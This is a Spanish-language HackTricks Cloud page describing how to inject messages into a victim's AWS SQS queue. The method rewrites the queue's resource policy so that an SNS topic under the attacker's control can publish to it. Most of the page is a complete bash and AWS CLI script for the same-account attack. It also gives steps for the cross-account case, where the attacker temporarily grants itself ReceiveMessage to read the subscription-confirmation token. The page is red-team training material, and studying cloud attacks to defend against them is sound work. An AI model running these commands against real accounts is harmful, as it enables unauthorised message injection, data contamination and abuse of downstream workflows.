AWS – SQS Inyección entre cuentas / en la misma cuenta vía suscripción SNS + política de cola
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Descripción
Abusar de la política de recurso de una cola SQS para permitir que un topic SNS controlado por el atacante publique mensajes en una cola SQS de la víctima. En la misma cuenta, una suscripción SQS a un topic SNS se confirma automáticamente; entre cuentas, debes leer el token SubscriptionConfirmation desde la cola y llamar a ConfirmSubscription. Esto permite una inyección de mensajes poco fiable que los consumidores posteriores pueden confiar implícitamente.
Requisitos
- Capacidad para modificar la política de recurso de la cola SQS objetivo:
sqs:SetQueueAttributesen la cola víctima. - Capacidad para crear/publicar en un topic SNS bajo control del atacante:
sns:CreateTopic,sns:Publish, ysns:Subscribeen la cuenta/topic del atacante. - Solo entre cuentas:
sqs:ReceiveMessagetemporal en la cola víctima para leer el token de confirmación y llamar asns:ConfirmSubscription.
Explotación en la misma cuenta
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
Notas entre cuentas
- La política de la cola anterior debe permitir el
TOPIC_ARNexterno (cuenta atacante). - Las suscripciones no se auto-confirmarán. Otórgate temporalmente
sqs:ReceiveMessageen la cola de la víctima para leer el mensajeSubscriptionConfirmationy luego ejecutasns confirm-subscriptioncon suToken.
Impacto
Impacto potencial: Inyección continua de mensajes no solicitados en una cola SQS de confianza a través de SNS, potencialmente desencadenando procesamiento no intencionado, contaminación de datos o abuso del flujo de trabajo.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

